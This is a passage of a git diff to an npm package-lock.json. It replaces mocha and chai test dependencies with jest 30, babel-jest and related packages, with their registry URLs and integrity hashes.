"sha512-dkO5fhS7+/oos4ciWxyEyjWe48zmG6wbCheo/G2ZnHx4fs3EU6YC6UM8rk56gAjNJ9P3MTH2jo5jb92/K6wbng==", + "dev": true, + "requires": { + "@babel/types": "^7.20.7" + } + }, + "@types/istanbul-lib-coverage": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.6.tgz", + "integrity": "sha512-2QF/t/auWm0lsy8XtKVPG19v3sSOQlJe/YHZgfjb/KBBHOGSV+J2q/S671rcq9uTBrLAXmZpqJiaQbMT+zNU1w==", "dev": true }, - "@types/glob": { - "version": "5.0.38", - "resolved": "https://registry.npmjs.org/@types/glob/-/glob-5.0.38.tgz", - "integrity": "sha512-rTtf75rwyP9G2qO5yRpYtdJ6aU1QqEhWbtW55qEgquEDa6bXW0s2TWZfDm02GuppjEozOWG/F2UnPq5hAQb+gw==", + "@types/istanbul-lib-report": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-report/-/istanbul-lib-report-3.0.3.tgz", + "integrity": "sha512-NQn7AHQnk/RSLOxrBbGyJM/aVQ+pjj5HCgasFxc0K/KhoATfQ/47AyUl15I2yBUpihjmas+a+VJBOqecrFH+uA==", + "dev": true, + "requires": { + "@types/istanbul-lib-coverage": "*" + } + }, + "@types/istanbul-reports": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.4.tgz", + "integrity": "sha512-pk2B1NWalF9toCRu6gjBzR69syFjP4Od8WRAX+0mmf9lAjCRicLOWc+ZrxZHx/0XRjotgkF9t6iaMJ+aXcOdZQ==", + "dev": true, + "requires": { + "@types/istanbul-lib-report": "*" + } + }, + "@types/jest": { + "version": "30.0.0", + "resolved": "https://registry.npmjs.org/@types/jest/-/jest-30.0.0.tgz", + "integrity": "sha512-XTYugzhuwqWjws0CVz8QpM36+T+Dz5mTEBKhNs/esGLnCIlGdRy+Dq78NRjd7ls7r8BC8ZRMOrKlkO1hU0JOwA==", "dev": true, "requires": { - "@types/minimatch": "*", - "@types/node": "*" + "expect": "^30.0.0", + "pretty-format": "^30.0.0" } }, "@types/js-yaml": { @@ -4238,39 +7267,175 @@ "integrity": "sha512-hov8bUuiLiyFPGyFPE1lwWhmzYbirOXQNNo40+y3zow8aFVTeyn3VWL0VFFfdNddA8S4Vf0Tc062rzyNr7Paag==", "dev": true }, - "@types/mkdirp": { - "version": "0.3.29", - "resolved": "https://registry.npmjs.org/@types/mkdirp/-/mkdirp-0.3.29.tgz", - "integrity": "sha512-QRLQpFsIQGO2k8pupga9abfei85GKotAtQ+F6xuQmSGomUt6C52TyMiTFpP8kUwuPKr00gNtu3itLlC6gvI/NA==", + "@types/node": { + "version": "15.14.9", + "resolved": "https://registry.npmjs.org/@types/node/-/node-15.14.9.tgz", + "integrity": "sha512-qjd88DrCxupx/kJD5yQgZdcYKZKSIGBVDIBE1/LTGcNm3d2Np/jxojkdePDdfnBHJc5W7vSMpbJ1aB7p/Py69A==", "dev": true }, - "@types/mocha": { - "version": "10.0.1", - "resolved": "https://registry.npmjs.org/@types/mocha/-/mocha-10.0.1.tgz", - "integrity": "sha512-/fvYntiO1GeICvqbQ3doGDIP97vWmvFt83GKguJ6prmQM2iXZfFcq6YE8KteFyRtX2/h5Hf91BYvPodJKFYv5Q==", + "@types/stack-utils": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/@types/stack-utils/-/stack-utils-2.0.3.tgz", + "integrity": "sha512-9aEbYZ3TbYMznPdcdr3SmIrLXwC/AKZXQeCf9Pgao5CKb8CyHuEX5jzWPTkvregvhRJHcpRO6BFoGW9ycaOkYw==", "dev": true }, - "@types/ncp": { - "version": "2.0.8", - "resolved": "https://registry.npmjs.org/@types/ncp/-/ncp-2.0.8.tgz", - "integrity": "sha512-pLNWVLCVWBLVM4F2OPjjK6FWFtByFKD7LhHryF+MbVLws7ENj09mKxRFlhkGPOXfJuaBAG+2iADKJsZwnAbYDw==", + "@types/yargs": { + "version": "17.0.33", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.33.tgz", + "integrity": "sha512-WpxBCKWPLr4xSsHgz511rFJAM+wS28w2zEO1QDNY5zM/S8ok70NNfztH0xwhqKyaK0OHCbN98LDAZuy1ctxDkA==", "dev": true, "requires": { - "@types/node": "*" + "@types/yargs-parser": "*" } }, - "@types/node": { - "version": "15.14.9", - "resolved": "https://registry.npmjs.org/@types/node/-/node-15.14.9.tgz", - "integrity": "sha512-qjd88DrCxupx/kJD5yQgZdcYKZKSIGBVDIBE1/LTGcNm3d2Np/jxojkdePDdfnBHJc5W7vSMpbJ1aB7p/Py69A==", + "@types/yargs-parser": { + "version": "21.0.3", + "resolved": "https://registry.npmjs.org/@types/yargs-parser/-/yargs-parser-21.0.3.tgz", + "integrity": "sha512-I4q9QU9MQv4oEOz4tAHJtNz1cwuLxn2F3xcc2iV5WdqLPpUnj30aUuxt1mAxYTG+oe8CZMV/+6rU4S4gRDzqtQ==", "dev": true }, - "@types/rimraf": { - "version": "0.0.28", - "resolved": "https://registry.npmjs.org/@types/rimraf/-/rimraf-0.0.28.tgz", - "integrity": "sha512-xnLdvcPWgKF71R2DEQCZfXLutuAApHhJT+Y4/ptZ8FN610hSVT98TyLLkMjRm3VJ2BqUUXRjYtdZ12KvDXBT7A==", + "@ungap/structured-clone": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/@ungap/structured-clone/-/structured-clone-1.3.0.tgz", + "integrity": "sha512-WmoN8qaIAo7WTYWbAZuG8PYEhn5fkz7dZrqTBZ7dtt//lL2Gwms1IcnQ5yHqjDfX8Ft5j4YzDM23f87zBfDe9g==", "dev": true }, + "@unrs/resolver-binding-android-arm-eabi": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-android-arm-eabi/-/resolver-binding-android-arm-eabi-1.9.2.tgz", + "integrity": "sha512-tS+lqTU3N0kkthU+rYp0spAYq15DU8ld9kXkaKg9sbQqJNF+WPMuNHZQGCgdxrUOEO0j22RKMwRVhF1HTl+X8A==", + "dev": true, + "optional": true + }, + "@unrs/resolver-binding-android-arm64": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-android-arm64/-/resolver-binding-android-arm64-1.9.2.tgz", + "integrity": "sha512-MffGiZULa/KmkNjHeuuflLVqfhqLv1vZLm8lWIyeADvlElJ/GLSOkoUX+5jf4/EGtfwrNFcEaB8BRas03KT0/Q==", + "dev": true, + "optional": true + }, + "@unrs/resolver-binding-darwin-arm64": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-darwin-arm64/-/resolver-binding-darwin-arm64-1.9.2.tgz", + "integrity": "sha512-dzJYK5rohS1sYl1DHdJ3mwfwClJj5BClQnQSyAgEfggbUwA9RlROQSSbKBLqrGfsiC/VyrDPtbO8hh56fnkbsQ==", + "dev": true, + "optional": true + }, + "@unrs/resolver-binding-darwin-x64": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-darwin-x64/-/resolver-binding-darwin-x64-1.9.2.tgz", + "integrity": "sha512-gaIMWK+CWtXcg9gUyznkdV54LzQ90S3X3dn8zlh+QR5Xy7Y+Efqw4Rs4im61K1juy4YNb67vmJsCDAGOnIeffQ==", + "dev": true, + "optional": true + }, + "@unrs/resolver-binding-freebsd-x64": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-freebsd-x64/-/resolver-binding-freebsd-x64-1.9.2.tgz", + "integrity": "sha512-S7QpkMbVoVJb0xwHFwujnwCAEDe/596xqY603rpi/ioTn9VDgBHnCCxh+UFrr5yxuMH+dliHfjwCZJXOPJGPnw==", + "dev": true, + "optional": true + }, + "@unrs/resolver-binding-linux-arm-gnueabihf": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-arm-gnueabihf/-/resolver-binding-linux-arm-gnueabihf-1.9.2.tgz", + "integrity": "sha512-+XPUMCuCCI80I46nCDFbGum0ZODP5NWGiwS3Pj8fOgsG5/ctz+/zzuBlq/WmGa+EjWZdue6CF0aWWNv84sE1uw==", + "dev": true, + "optional": true + }, + "@unrs/resolver-binding-linux-arm-musleabihf": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-arm-musleabihf/-/resolver-binding-linux-arm-musleabihf-1.9.2.tgz", + "integrity": "sha512-sqvUyAd1JUpwbz33Ce2tuTLJKM+ucSsYpPGl2vuFwZnEIg0CmdxiZ01MHQ3j6ExuRqEDUCy8yvkDKvjYFPb8Zg==", + "dev": true, + "optional": true + }, + "@unrs/resolver-binding-linux-arm64-gnu": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-arm64-gnu/-/resolver-binding-linux-arm64-gnu-1.9.2.tgz", + "integrity": "sha512-UYA0MA8ajkEDCFRQdng/FVx3F6szBvk3EPnkTTQuuO9lV1kPGuTB+V9TmbDxy5ikaEgyWKxa4CI3ySjklZ9lFA==", + "dev": true, + "optional": true + }, + "@unrs/resolver-binding-linux-arm64-musl": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-arm64-musl/-/resolver-binding-linux-arm64-musl-1.9.2.tgz", + "integrity": "sha512-P/CO3ODU9YJIHFqAkHbquKtFst0COxdphc8TKGL5yCX75GOiVpGqd1d15ahpqu8xXVsqP4MGFP2C3LRZnnL5MA==", + "dev": true, + "optional": true + }, + "@unrs/resolver-binding-linux-ppc64-gnu": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-ppc64-gnu/-/resolver-binding-linux-ppc64-gnu-1.9.2.tgz", + "integrity": "sha512-uKStFlOELBxBum2s1hODPtgJhY4NxYJE9pAeyBgNEzHgTqTiVBPjfTlPFJkfxyTjQEuxZbbJlJnMCrRgD7ubzw==", + "dev": true, + "optional": true + }, + "@unrs/resolver-binding-linux-riscv64-gnu": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-riscv64-gnu/-/resolver-binding-linux-riscv64-gnu-1.9.2.tgz", + "integrity": "sha512-LkbNnZlhINfY9gK30AHs26IIVEZ9PEl9qOScYdmY2o81imJYI4IMnJiW0vJVtXaDHvBvxeAgEy5CflwJFIl3tQ==", + "dev": true, + "optional": true + }, + "@unrs/resolver-binding-linux-riscv64-musl": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-riscv64-musl/-/resolver-binding-linux-riscv64-musl-1.9.2.tgz", + "integrity": "sha512-vI+e6FzLyZHSLFNomPi+nT+qUWN4YSj8pFtQZSFTtmgFoxqB6NyjxSjAxEC1m93qn6hUXhIsh8WMp+fGgxCoRg==", + "dev": true, + "optional": true + }, + "@unrs/resolver-binding-linux-s390x-gnu": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-s390x-gnu/-/resolver-binding-linux-s390x-gnu-1.9.2.tgz", + "integrity": "sha512-sSO4AlAYhSM2RAzBsRpahcJB1msc6uYLAtP6pesPbZtptF8OU/CbCPhSRW6cnYOGuVmEmWVW5xVboAqCnWTeHQ==", + "dev": true, + "optional": true + }, + "@unrs/resolver-binding-linux-x64-gnu": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-x64-gnu/-/resolver-binding-linux-x64-gnu-1.9.2.tgz", + "integrity": "sha512-jkSkwch0uPFva20Mdu8orbQjv2A3G88NExTN2oPTI1AJ+7mZfYW3cDCTyoH6OnctBKbBVeJCEqh0U02lTkqD5w==", + "dev": true, + "optional": true + }, + "@unrs/resolver-binding-linux-x64-musl": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-linux-x64-musl/-/resolver-binding-linux-x64-musl-1.9.2.tgz", + "integrity": "sha512-Uk64NoiTpQbkpl+bXsbeyOPRpUoMdcUqa+hDC1KhMW7aN1lfW8PBlBH4mJ3n3Y47dYE8qi0XTxy1mBACruYBaw==", + "dev": true, + "optional": true + }, + "@unrs/resolver-binding-wasm32-wasi": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-wasm32-wasi/-/resolver-binding-wasm32-wasi-1.9.2.tgz", + "integrity": "sha512-EpBGwkcjDicjR/ybC0g8wO5adPNdVuMrNalVgYcWi+gYtC1XYNuxe3rufcO7dA76OHGeVabcO6cSkPJKVcbCXQ==", + "dev": true, + "optional": true, + "requires": { + "@napi-rs/wasm-runtime": "^0.2.11" + } + }, + "@unrs/resolver-binding-win32-arm64-msvc": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-win32-arm64-msvc/-/resolver-binding-win32-arm64-msvc-1.9.2.tgz", + "integrity": "sha512-EdFbGn7o1SxGmN6aZw9wAkehZJetFPao0VGZ9OMBwKx6TkvDuj6cNeLimF/Psi6ts9lMOe+Dt6z19fZQ9Ye2fw==", + "dev": true, + "optional": true + }, + "@unrs/resolver-binding-win32-ia32-msvc": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-win32-ia32-msvc/-/resolver-binding-win32-ia32-msvc-1.9.2.tgz", + "integrity": "sha512-JY9hi1p7AG+5c/dMU8o2kWemM8I6VZxfGwn1GCtf3c5i+IKcMo2NQ8OjZ4Z3/itvY/Si3K10jOBQn7qsD/whUA==", + "dev": true, + "optional": true + }, + "@unrs/resolver-binding-win32-x64-msvc": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/@unrs/resolver-binding-win32-x64-msvc/-/resolver-binding-win32-x64-msvc-1.9.2.tgz", + "integrity": "sha512-ryoo+EB19lMxAd80ln9BVf8pdOAxLb97amrQ3SFN9OCRn/5M5wvwDgAe4i8ZjhpbiHoDeP8yavcTEnpKBo7lZg==", + "dev": true, + "optional": true + }, "acorn-walk": { "version": "8.2.0", "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-8.2.0.tgz", @@ -4282,11 +7447,14 @@ "resolved": "https://registry.npmjs.org/adm-zip/-/adm-zip-0.5.16.tgz", "integrity": "sha512-TGw5yVi4saajsSEgz25grObGHEUaDrniwvA2qwSC060KfqGPdglhvPMA2lPIoxs3PQIItj2iag35fONcQqgUaQ==" }, - "ansi-colors": { - "version": "4.1.3", - "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-4.1.3.tgz", - "integrity": "sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw==", - "dev": true + "ansi-escapes": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz", + "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==", + "dev": true, + "requires": { + "type-fest": "^0.21.3" + } }, "ansi-regex": { "version": "5.0.1", @@ -4329,12 +7497,6 @@ "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz", "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==" }, - "assertion-error": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/assertion-error/-/assertion-error-1.1.0.tgz", - "integrity": "sha512-jgsaNduz+ndvGyFt3uSuWqvy4lCnIJiovtouQN5JZHOKCS2QuhEdbcQHFhVksz2N2U9hXJo8odG7ETyWlEeuDw==", - "dev": true - }, "ast-types": { "version": "0.14.2", "resolved": "https://registry.npmjs.org/ast-types/-/ast-types-0.14.2.tgz", @@ -4344,6 +7506,12 @@ "tslib": "^2.0.1" } }, + "async": { + "version": "3.2.6", + "resolved": "https://registry.npmjs.org/async/-/async-3.2.6.tgz", + "integrity": "sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==", + "dev": true + }, "asynckit": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", @@ -4359,26 +7527,92 @@ "proxy-from-env": "^1.1.0" } }, + "babel-jest": { + "version": "30.0.2", + "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-30.0.2.tgz", + "integrity": "sha512-A5kqR1/EUTidM2YC2YMEUDP2+19ppgOwK0IAd9Swc3q2KqFb5f9PtRUXVeZcngu0z5mDMyZ9zH2huJZSOMLiTQ==", + "dev": true, + "requires": { + "@jest/transform": "30.0.2", + "@types/babel__core": "^7.20.5", + "babel-plugin-istanbul": "^7.0.0", + "babel-preset-jest": "30.0.1", + "chalk": "^4.1.2", + "graceful-fs": "^4.2.11", + "slash": "^3.0.0" + } + }, + "babel-plugin-istanbul": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/babel-plugin-istanbul/-/babel-plugin-istanbul-7.0.0.tgz", + "integrity": "sha512-C5OzENSx/A+gt7t4VH1I2XsflxyPUmXRFPKBxt33xncdOmq7oROVM3bZv9Ysjjkv8OJYDMa+tKuKMvqU/H3xdw==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.0.0", + "@istanbuljs/load-nyc-config": "^1.0.0", + "@istanbuljs/schema": "^0.1.3", + "istanbul-lib-instrument": "^6.0.2", + "test-exclude": "^6.0.0" + } + }, + "babel-plugin-jest-hoist": { + "version": "30.0.1", + "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-30.0.1.tgz", + "integrity": "sha512-zTPME3pI50NsFW8ZBaVIOeAxzEY7XHlmWeXXu9srI+9kNfzCUTy8MFan46xOGZY8NZThMqq+e3qZUKsvXbasnQ==", + "dev": true, + "requires": { + "@babel/template": "^7.27.2", + "@babel/types": "^7.27.3", + "@types/babel__core": "^7.20.5" + } + }, + "babel-preset-current-node-syntax": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-1.1.0.tgz", + "integrity": "sha512-ldYss8SbBlWva1bs28q78Ju5Zq1F+8BrqBZZ0VFhLBvhh6lCpC2o3gDJi/5DRLs9FgYZCnmPYIVFU4lRXCkyUw==", + "dev": true, + "requires": { + "@babel/plugin-syntax-async-generators": "^7.8.4", + "@babel/plugin-syntax-bigint": "^7.8.3", + "@babel/plugin-syntax-class-properties": "^7.12.13", + "@babel/plugin-syntax-class-static-block": "^7.14.5", + "@babel/plugin-syntax-import-attributes": "^7.24.7", + "@babel/plugin-syntax-import-meta": "^7.10.4", + "@babel/plugin-syntax-json-strings": "^7.8.3", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", + "@babel/plugin-syntax-numeric-separator": "^7.10.4", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", + "@babel/plugin-syntax-optional-chaining": "^7.8.3", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5", + "@babel/plugin-syntax-top-level-await": "^7.14.5" + } + }, + "babel-preset-jest": { + "version": "30.0.1", + "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-30.0.1.tgz", + "integrity": "sha512-+YHejD5iTWI46cZmcc/YtX4gaKBtdqCHCVfuVinizVpbmyjO3zYmeuyFdfA8duRqQZfgCAMlsfmkVbJ+e2MAJw==", + "dev": true, + "requires": { + "babel-plugin-jest-hoist": "30.0.1", + "babel-preset-current-node-syntax": "^1.1.0" + } + }, "balanced-match": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==" }, "before-after-hook": { - "version": "2.2.2", - "resolved": "https://registry.npmjs.org/before-after-hook/-/before-after-hook-2.2.2.tgz", - "integrity": "sha512-3pZEU3NT5BFUo/AD5ERPWOgQOCZITni6iavr5AUw5AUwQjMlI0kzu5btnyD39AF0gUEsDPwJT+oY1ORBJijPjQ==" - }, - "binary-extensions": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz", - "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==", - "dev": true + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/before-after-hook/-/before-after-hook-4.0.0.tgz", + "integrity": "sha512-q6tR3RPqIB1pMiTRMFcZwuG5T8vwp+vUvEG0vuI6B+Rikh5BfPp2fQ82c925FOs+b0lcFQ8CFrL+KbilfZFhOQ==" }, "brace-expansion": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz", - "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", "requires": { "balanced-match": "^1.0.0" } @@ -4391,22 +7625,34 @@ "fill-range": "^7.1.1" } }, - "browser-stdout": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/browser-stdout/-/browser-stdout-1.3.1.tgz", - "integrity": "sha512-qhAVI1+Av2X7qelOfAIYwXONood6XlZE/fXaBSmW/T5SzLAmCgzi+eiWE7fUvbHaeNBQH13UftjpXxsfLkMpgw==", - "dev": true - }, "browserslist": { - "version": "4.24.4", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.24.4.tgz", - "integrity": "sha512-KDi1Ny1gSePi1vm0q4oxSF8b4DR44GF4BbmS2YdhPLOEqd8pDviZOGH/GsmRwoWJ2+5Lr085X7naowMwKHDG1A==", + "version": "4.25.1", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.25.1.tgz", + "integrity": "sha512-KGj0KoOMXLpSNkkEI6Z6mShmQy0bc1I+T7K9N81k4WWMrfz+6fQ6es80B/YLAeRoKvjYE1YSHHOW1qe9xIVzHw==", "dev": true, "requires": { - "caniuse-lite": "^1.0.30001688", - "electron-to-chromium": "^1.5.73", + "caniuse-lite": "^1.0.30001726", + "electron-to-chromium": "^1.5.173", "node-releases": "^2.0.19", - "update-browserslist-db": "^1.1.1" + "update-browserslist-db": "^1.1.3" + } + }, + "bs-logger": { + "version": "0.2.6", + "resolved": "https://registry.npmjs.org/bs-logger/-/bs-logger-0.2.6.tgz", + "integrity": "sha512-pd8DCoxmbgc7hyPKOvxtqNcjYoOsABPQdcCUjGp3d42VR2CX1ORhk2A87oqqu5R1kk+76nsxZupkmyd+MVtCog==", + "dev": true, + "requires": { + "fast-json-stable-stringify": "2.x" + } + }, + "bser": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/bser/-/bser-2.1.1.tgz", + "integrity": "sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ==", + "dev": true, + "requires": { + "node-int64": "^0.4.0" } }, "buffer-from": { @@ -4415,6 +7661,12 @@ "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", "dev": true }, + "callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", + "dev": true + }, "camelcase": { "version": "6.3.0", "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", @@ -4422,48 +7674,11 @@ "dev": true }, "caniuse-lite": { - "version": "1.0.30001703", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001703.tgz", - "integrity": "sha512-kRlAGTRWgPsOj7oARC9m1okJEXdL/8fekFVcxA8Hl7GH4r/sN4OJn/i6Flde373T50KS7Y37oFbMwlE8+F42kQ==", + "version": "1.0.30001726", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001726.tgz", + "integrity": "sha512-VQAUIUzBiZ/UnlM28fSp2CRF3ivUn1BWEvxMcVTNwpw91Py1pGbPIyIKtd+tzct9C3ouceCVdGAXxZOpZAsgdw==", "dev": true }, - "chai": { - "version": "4.3.10", - "resolved": "https://registry.npmjs.org/chai/-/chai-4.3.10.tgz", - "integrity": "sha512-0UXG04VuVbruMUYbJ6JctvH0YnC/4q3/AkT18q4NaITo91CUm0liMS9VqzT9vZhVQ/1eqPanMWjBM+Juhfb/9g==", - "dev": true, - "requires": { - "assertion-error": "^1.1.0", - "check-error": "^1.0.3", - "deep-eql": "^4.1.3", - "get-func-name": "^2.0.2", - "loupe": "^2.3.6", - "pathval": "^1.1.1", - "type-detect": "^4.0.8" - } - }, - "chai-snapshot-tests": { - "version": "0.6.0", - "resolved": "https://registry.npmjs.org/chai-snapshot-tests/-/chai-snapshot-tests-0.6.0.tgz", - "integrity": "sha512-Hn1MltIJG+dYPyOVnuFIAu0ko5KMoS7pXSQCTJLACY08fxVmJt6ASNCVDfqKzzzHVlexJlXxKpCjnOa8Dxx1MA==", - "dev": true, - "requires": { - "@types/chai": "^4.0.0", - "@types/mkdirp": "^0.3.29", - "@types/node": "^7.0.29", - "chai": "^4.0.2", - "mkdirp": "^0.5.1", - "nicer-fs": "^1.1.0" - }, - "dependencies": { - "@types/node": { - "version": "7.10.14", - "resolved": "https://registry.npmjs.org/@types/node/-/node-7.10.14.tgz", - "integrity": "sha512-29GS75BE8asnTno3yB6ubOJOO0FboExEqNJy4bpz0GSmW/8wPTNL4h9h63c6s1uTrOopCmJYe/4yJLh5r92ZUA==", - "dev": true - } - } - }, "chalk": { "version": "4.1.2", "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", @@ -4474,41 +7689,23 @@ "supports-color": "^7.1.0" } }, - "check-error": { - "version": "1.0.3", - "resolved": "https://registry.npmjs.org/check-error/-/check-error-1.0.3.tgz", - "integrity": "sha512-iKEoDYaRmd1mxM90a2OEfWhjsjPpYPuQ+lMYsoxB126+t8fw7ySEO48nmDg5COTjxDI65/Y2OWpeEHk3ZOe8zg==", - "dev": true, - "requires": { - "get-func-name": "^2.0.2" - } + "char-regex": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/char-regex/-/char-regex-1.0.2.tgz", + "integrity": "sha512-kWWXztvZ5SBQV+eRgKFeh8q5sLuZY2+8WUIzlxWVTg+oGwY14qylx1KbKzHd8P6ZYkAg0xyIDU9JMHhyJMZ1jw==", + "dev": true }, - "chokidar": { - "version": "3.5.3", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.3.tgz", - "integrity": "sha512-Dr3sfKRP6oTcjf2JmUmFJfeVMvXBdegxB0iVQ5eb2V10uFJUCAS8OByZdVAyVb8xXNz3GjjTgj9kLWsZTqE6kw==", - "dev": true, - "requires": { - "anymatch": "~3.1.2", - "braces": "~3.0.2", - "fsevents": "~2.3.2", - "glob-parent": "~5.1.2", - "is-binary-path": "~2.1.0", - "is-glob": "~4.0.1", - "normalize-path": "~3.0.0", - "readdirp": "~3.6.0" - } + "ci-info": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-4.2.0.tgz", + "integrity": "sha512-cYY9mypksY8NRqgDB1XD1RiJL338v/551niynFTGkZOO2LHuB2OmOYxDIe/ttN9AHwrqdum1360G3ald0W9kCg==", + "dev": true }, - "cliui": { - "version": "7.0.4", - "resolved": "https://registry.npmjs.org/cliui/-/cliui-7.0.4.tgz", - "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", - "dev": true, - "requires": { - "string-width": "^4.2.0", - "strip-ansi": "^6.0.0", - "wrap-ansi": "^7.0.0" - } + "cjs-module-lexer": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/cjs-module-lexer/-/cjs-module-lexer-2.1.0.tgz", + "integrity": "sha512-UX0OwmYRYQQetfrLEZeewIFFI+wSTofC+pMBLNuH3RUuu/xzG1oz84UCEDOSoQlN3fZ4+AzmV50ZYvGqkMh9yA==", + "dev": true }, "clone-deep": { "version": "4.0.1", @@ -4532,6 +7729,18 @@ } } }, + "co": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/co/-/co-4.6.0.tgz", + "integrity": "sha512-QVb0dM5HvG+uaxitm8wONl7jltx8dqhfU33DcqtOZcLSVIKSDDLDi7+0LbAKiyI8hD9u42m2YxXSkMGWThaecQ==", + "dev": true + }, + "collect-v8-coverage": { + "version": "1.0.2", + "resolved": 